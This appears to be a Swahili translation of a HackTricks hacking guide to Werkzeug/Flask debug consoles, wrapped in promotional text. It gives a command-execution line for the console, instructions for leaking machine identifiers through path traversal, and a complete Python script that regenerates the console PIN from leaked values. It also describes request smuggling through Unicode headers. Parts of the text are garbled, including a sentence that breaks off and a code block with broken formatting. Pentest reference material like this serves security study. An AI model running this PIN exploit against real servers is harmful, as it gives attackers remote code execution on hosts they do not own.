9.9 KiB
Werkzeug / Flask Kurekebisha
Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Usanidi wa papo hapo wa upimaji wa udhaifu & uchunguzi wa kuingilia. Tekeleza pentest kamili kutoka popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wapimaji wa pentest - tuna
__import__('os').popen('whoami').read();
Kuna pia mianya kadhaa kwenye mtandao kama hii au moja kwenye metasploit.
Pin Iliyolindwa - Uvamizi wa Njia
Katika baadhi ya matukio, /console
mwisho utalindwa na pin. Ikiwa una mianya ya upitishaji wa faili, unaweza kuvuja habari zote muhimu za kuzalisha pin hiyo.
Uvamizi wa PIN ya Werkzeug Console
Lazima ulete ukurasa wa kosa la debug katika programu ili uone hii:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Ujumbe kuhusu hali ya "console imefungwa" unakutwa wakati wa kujaribu kupata interface ya uchunguzi ya Werkzeug, ukionyesha hitaji la PIN kufungua console. Mapendekezo yanafanywa kwa kudukua PIN ya console kwa kuchambua algorithm ya kizazi cha PIN katika faili ya uanzishaji wa uchunguzi ya Werkzeug (__init__.py
). Mfumo wa kizazi cha PIN unaweza kusomwa kutoka kwenye Hifadhi ya nambari ya chanzo ya Werkzeug, ingawa inashauriwa kupata nambari halisi ya seva kupitia udhaifu wa upitishaji wa faili kutokana na tofauti za matoleo yanayowezekana.
Kudukua PIN ya console, seti mbili za vitu, probably_public_bits
na private_bits
, zinahitajika:
probably_public_bits
username
: Inahusu mtumiaji aliyeanzisha kikao cha Flask.modname
: Kawaida inatengwa kamaflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Kwa ujumla inaelekeza kwa Flask.getattr(mod, '__file__', None)
: Inawakilisha njia kamili yaapp.py
ndani ya saraka ya Flask (k.m.,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Ikiwaapp.py
haifai, jaribuapp.pyc
.
private_bits
uuid.getnode()
: Inapata anwani ya MAC ya mashine ya sasa, nastr(uuid.getnode())
ikiihamisha kwenye muundo wa desimali.- Ili kutambua anwani ya MAC ya seva, mtu lazima aitambue kiolesura cha mtandao kinachotumiwa na programu (k.m.,
ens3
). Katika hali za kutokuwa na uhakika, vuja/proc/net/arp
kufuatilia kitambulisho cha kifaa, kisha chimbua anwani ya MAC kutoka/sys/class/net/<kitambulisho cha kifaa>/anwani
. - Ubadilishaji wa anwani ya MAC ya hexadecimal kuwa desimali unaweza kufanywa kama inavyoonyeshwa hapa chini:
# Mfano wa anwani ya MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Inaunganisha data kutoka/etc/machine-id
au/proc/sys/kernel/random/boot_id
na mstari wa kwanza wa/proc/self/cgroup
baada ya mshale wa mwisho (/
).
Kificho cha `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Baada ya kukusanya data zote muhimu, script ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug:
Baada ya kukusanya data zote muhimu, script ya exploit inaweza kutekelezwa ili kuzalisha PIN ya konsoli ya Werkzeug. Script hutumia `probably_public_bits` na `private_bits` zilizokusanywa kuunda hash, ambayo kisha inapitia usindikaji zaidi ili kutoa PIN ya mwisho. Hapa chini ni msimbo wa Python wa kutekeleza mchakato huu:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Hii script inazalisha PIN kwa kuhakiki bits zilizounganishwa, kuongeza chumvi maalum (cookiesalt
na pinsalt
), na kuumbua matokeo. Ni muhimu kuzingatia kuwa thamani halisi za probably_public_bits
na private_bits
lazima zipatikane kwa usahihi kutoka kwenye mfumo lengwa ili kuhakikisha PIN iliyozalishwa inalingana na ile inayotarajiwa na konsoli ya Werkzeug.
{% hint style="success" %} Ikiwa uko kwenye toleo la zamani la Werkzeug, jaribu kubadilisha algorithimu ya hashing kuwa md5 badala ya sha1. {% endhint %}
Herufi za Unicode za Werkzeug
Kama ilivyoonekana katika suala hili, Werkzeug haifungi ombi lenye herufi za Unicode kwenye vichwa. Na kama ilivyoelezwa katika makala hii, hii inaweza kusababisha udhaifu wa Udukuzi wa Ombi la CL.0.
Hii ni kwa sababu, katika Werkzeug ni rahisi kutuma baadhi ya herufi za Unicode na itafanya seva ivunjike. Hata hivyo, ikiwa uunganisho wa HTTP uliumbwa na kichwa Connection: keep-alive
, mwili wa ombi hautasomwa na uunganisho utaendelea kuwa wazi, hivyo mwili wa ombi utachukuliwa kama ombi la HTTP linalofuata.
Udukuzi wa Kiotomatiki
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
Marejeo
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
Usanidi uliopo mara moja kwa tathmini ya udhaifu & udukuzi wa kuingilia. Tekeleza udukuzi kamili kutoka mahali popote na zana na vipengele zaidi ya 20 vinavyoanzia uchunguzi hadi ripoti. Hatuchukui nafasi ya wadukuzi - tunatengeneza zana za kawaida, ugunduzi & moduli za udukuzi ili kuwapa muda wa kuchimba kwa kina, kuvunja makompyuta, na kufurahi.
{% embed url="https://pentest-tools.com/" %}
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 kikundi cha Discord](https://discord.gg/hRep4RUj7f) au kikundi cha telegram](https://t.me/peass) au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.